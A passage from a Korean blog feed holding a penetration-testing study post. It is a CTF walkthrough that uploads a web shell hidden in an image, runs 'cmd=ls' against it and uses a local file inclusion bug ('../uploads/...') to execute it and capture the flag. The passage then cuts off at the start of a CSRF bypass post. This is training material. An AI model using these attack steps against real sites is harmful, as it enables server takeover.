  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zH4zF/dJMcajnqXID/fJpFG4M5EFHwf2krGVtvVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zH4zF/dJMcajnqXID/fJpFG4M5EFHwf2krGVtvVk/img.png&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;1478&quot; data-origin-width=&quot;2568&quot; style=&quot;width: 41.0708%; margin-right: 10px;&quot; data-widthpercent=&quot;41.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zH4zF/dJMcajnqXID/fJpFG4M5EFHwf2krGVtvVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzH4zF%2FdJMcajnqXID%2FfJpFG4M5EFHwf2krGVtvVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2568&quot; height=&quot;1478&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eA60Zq/dJMcaihOjkM/3hVMVEVi5nm0IPnfhmBaDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eA60Zq/dJMcaihOjkM/3hVMVEVi5nm0IPnfhmBaDK/img.png&quot; data-origin-width=&quot;2065&quot; data-origin-height=&quot;845&quot; data-is-animation=&quot;false&quot; style=&quot;width: 57.7664%;&quot; data-widthpercent=&quot;58.45&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eA60Zq/dJMcaihOjkM/3hVMVEVi5nm0IPnfhmBaDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeA60Zq%2FdJMcaihOjkM%2F3hVMVEVi5nm0IPnfhmBaDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2065&quot; height=&quot;845&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;test111.jpg 는 HXD 프로그램에서 웹 쉘 코드를 넣어서 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;테스트를 진행해보았습니다.&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;우선 경로를 확인했습니다&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1769086860340&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;index.php?page=download&amp;amp;filePath=/var/www/html/uploads/309_test11.php.jpg&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;ＣＴＦ문제 타겟 주소/uploads/308_test111.jpg?cmd=ls&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;실행결과 ｐｈｐ 코드만 보여주고 실행을 시켜주지 않았습니다&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1713&quot; data-origin-height=&quot;183&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhZuFm/dJMcahJY1Jm/fiHtwBNRqwn5g2HkG53S51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhZuFm/dJMcahJY1Jm/fiHtwBNRqwn5g2HkG53S51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhZuFm/dJMcahJY1Jm/fiHtwBNRqwn5g2HkG53S51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdhZuFm%2FdJMcahJY1Jm%2FfiHtwBNRqwn5g2HkG53S51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1713&quot; height=&quot;183&quot; data-origin-width=&quot;1713&quot; data-origin-height=&quot;183&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rpE6a/dJMcadAKnoi/PUjl1TQjA8PcnvzE0YaJ5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rpE6a/dJMcadAKnoi/PUjl1TQjA8PcnvzE0YaJ5k/img.png&quot; data-origin-width=&quot;1463&quot; data-origin-height=&quot;317&quot; data-is-animation=&quot;false&quot; style=&quot;width: 56.4175%; margin-right: 10px;&quot; data-widthpercent=&quot;57.08&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rpE6a/dJMcadAKnoi/PUjl1TQjA8PcnvzE0YaJ5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrpE6a%2FdJMcadAKnoi%2FPUjl1TQjA8PcnvzE0YaJ5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1463&quot; height=&quot;317&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t3v5c/dJMcagYz4P2/5I1ZlvJkuwuligIhzLKgp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t3v5c/dJMcagYz4P2/5I1ZlvJkuwuligIhzLKgp0/img.png&quot; data-origin-width=&quot;1971&quot; data-origin-height=&quot;568&quot; data-is-animation=&quot;false&quot; style=&quot;width: 42.4197%;&quot; data-widthpercent=&quot;42.92&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t3v5c/dJMcagYz4P2/5I1ZlvJkuwuligIhzLKgp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft3v5c%2FdJMcagYz4P2%2F5I1ZlvJkuwuligIhzLKgp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1971&quot; height=&quot;568&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 ｔｈｅｍｅ＝ ｈａｃｋｅｒ.php가 문제인가?&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;해서 uploads/308_test111.txt 경로로 바꿔서 해보니&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1769091243615&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;include(themes/uploads/308_test111.txt): Failed to open stream: No such file or directory in &amp;lt;b&amp;gt;/var/www/html/index.php&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;include (themes/uploads/308_test111.txt) 에러가&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;출력이 되고 있었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그럼 경로는 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;themes/uploads/ 된다는 것인데....&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;include는 다른 파일을 포함시켜 실행시킨다...&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;라는 의미를 가지고 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그럼.&lt;span style=&quot;color: #ee2323;&quot;&gt;txt를...실행시킨다.&lt;/span&gt; 라는 의미를 가지고 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;확인한번 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2502&quot; data-origin-height=&quot;1098&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9bKCA/dJMcafekMdh/1IRlEO5W3Q5fLvEbhzTfC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9bKCA/dJMcafekMdh/1IRlEO5W3Q5fLvEbhzTfC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9bKCA/dJMcafekMdh/1IRlEO5W3Q5fLvEbhzTfC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9bKCA%2FdJMcafekMdh%2F1IRlEO5W3Q5fLvEbhzTfC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2502&quot; height=&quot;1098&quot; data-origin-width=&quot;2502&quot; data-origin-height=&quot;1098&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;테스트를 하기위해 test.txt라는 파일을 올렸습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;여기에는 hello world라는 글 php 코드로 작성 되어있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1742&quot; data-origin-height=&quot;499&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3O39t/dJMcaaYnJCX/jdPB4YefLkrUD3zgSlikk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3O39t/dJMcaaYnJCX/jdPB4YefLkrUD3zgSlikk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3O39t/dJMcaaYnJCX/jdPB4YefLkrUD3zgSlikk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3O39t%2FdJMcaaYnJCX%2FjdPB4YefLkrUD3zgSlikk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1742&quot; height=&quot;499&quot; data-origin-width=&quot;1742&quot; data-origin-height=&quot;499&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;버프로 확인한 결과 hello world를 실행시켜서 출력이 된다?&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이는 File include 취약점이 있다라고 말씀 드리고 싶습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;File include 취약점은 공격자 웹 애플리케이션을 통해 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서버 파일을 불러오거나 실행할 수 있게 하는 취약점 입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;주로&amp;nbsp; LFI (loacal file include), RFI&amp;nbsp;remote&amp;nbsp;file&amp;nbsp;include&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;많이 알려져 있습니다. 이 CTF 문제에서는 LFI 를 이용한 풀이 입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;LFI는 Local에 있는 파일을 읽는 공격이며 이를 통해 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;공격자가 시스템 파일을 탈취하거나 미리 업로드 된 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;span&gt;쉘 코드를 Include 시켜 의도한 코드를 실행하게 할 수 있습니다 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이제 이 LFI 취약점을 이용하여 FLAG를 탈취하겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1722&quot; data-origin-height=&quot;519&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2dea1/dJMcachAgRx/HjoAf4cRnGk3Kp2Rk0poo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2dea1/dJMcachAgRx/HjoAf4cRnGk3Kp2Rk0poo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2dea1/dJMcachAgRx/HjoAf4cRnGk3Kp2Rk0poo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2dea1%2FdJMcachAgRx%2FHjoAf4cRnGk3Kp2Rk0poo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1722&quot; height=&quot;519&quot; data-origin-width=&quot;1722&quot; data-origin-height=&quot;519&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;../uploads/308_test111.txt (webshell) 코드를 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;실행시키는 모습입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGtijp/dJMcaaqxOgM/j4Tz7tW2F7ZGIqsiEtRRjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGtijp/dJMcaaqxOgM/j4Tz7tW2F7ZGIqsiEtRRjK/img.png&quot; data-origin-width=&quot;1704&quot; data-origin-height=&quot;518&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.6703%; margin-right: 10px;&quot; data-widthpercent=&quot;48.23&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGtijp/dJMcaaqxOgM/j4Tz7tW2F7ZGIqsiEtRRjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGtijp%2FdJMcaaqxOgM%2Fj4Tz7tW2F7ZGIqsiEtRRjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1704&quot; height=&quot;518&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l6QvI/dJMb99ZtI3g/cgMHkTkhplEtKznnFlkkU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l6QvI/dJMb99ZtI3g/cgMHkTkhplEtKznnFlkkU0/img.png&quot; data-origin-width=&quot;1716&quot; data-origin-height=&quot;486&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.1669%;&quot; data-widthpercent=&quot;51.77&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l6QvI/dJMb99ZtI3g/cgMHkTkhplEtKznnFlkkU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl6QvI%2FdJMb99ZtI3g%2FcgMHkTkhplEtKznnFlkkU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1716&quot; height=&quot;486&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;webshell 아니 LFI 취약점을 이용하여 flag를 찾아냈습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;</description>
      <category>정보보안 공부/모의해킹 스터디 9기</category>
      <author>mister jeon</author>
      <guid isPermaLink="true">https://thjkl2004.tistory.com/46</guid>
      <comments>https://thjkl2004.tistory.com/46#entry46comment</comments>
      <pubDate>Thu, 22 Jan 2026 23:54:30 +0900</pubDate>
    </item>
    <item>
      <title>모의해킹 취업반 스터디 9기 13주차  CSRF 총 정리</title>
      <link>https://thjkl2004.tistory.com/45</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;13주차 (3)&amp;nbsp; &amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;오늘은 CSRF 마지막 시간이며 CSRF 방어기법과 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;우회하는 방법에 대해 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CTF 실습을 진행하겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;저번 시간에 CSRF &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;대응방안&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;으로 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이용하고 우회하는 방법에 대해 알아보았습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰은 마이페이지에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;접속할떄 주는 hidden&amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;값으로 데이터처리를 요청 받을 때&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;EX) 비밀번호 변경 등.. CSRF 토큰을 체크하여 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;요청의 유효성을 검사를 진행합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 CSRF 토큰으로 재 실습 시작해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
